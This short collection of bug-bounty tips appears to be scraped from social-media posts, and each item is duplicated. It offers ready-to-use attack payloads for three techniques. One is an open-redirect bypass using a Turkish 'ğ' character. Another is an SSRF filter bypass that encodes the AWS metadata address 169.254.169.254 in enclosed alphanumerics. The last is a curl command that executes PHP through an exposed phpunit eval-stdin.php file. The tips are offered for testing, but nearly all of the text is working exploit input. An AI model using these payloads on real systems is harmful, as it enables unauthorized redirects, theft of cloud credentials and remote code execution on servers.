Open Redirect Bypass
?redirect=https://test.target.com > accepts any subdomain of target to redirect
?redirect=https://google.comğ.target.com > "Ğ" is a Turkish character, server can't render it and changes it to "?"
So it redirects to http://google.com/?target.com
#bugbounty #bugbountytip
?redirect=https://test.target.com > accepts any subdomain of target to redirect
?redirect=https://google.comğ.target.com > "Ğ" is a Turkish character, server can't render it and changes it to "?"
So it redirects to http://google.com/?target.com
#bugbounty #bugbountytip
Bypassing SSRF Filter using Enclosed Alphanumerics
AWS --> ①⑥⑨.②⑤④.①⑥⑨.②⑤④
AWS --> ①⑥⑨.②⑤④.①⑥⑨.②⑤④
#bugbountytip If you found /phpunit/ folder than you can try to execute PHP code by typing the following command:
curl --data "<?php echo(pi());" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
curl --data "<?php echo(pi());" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php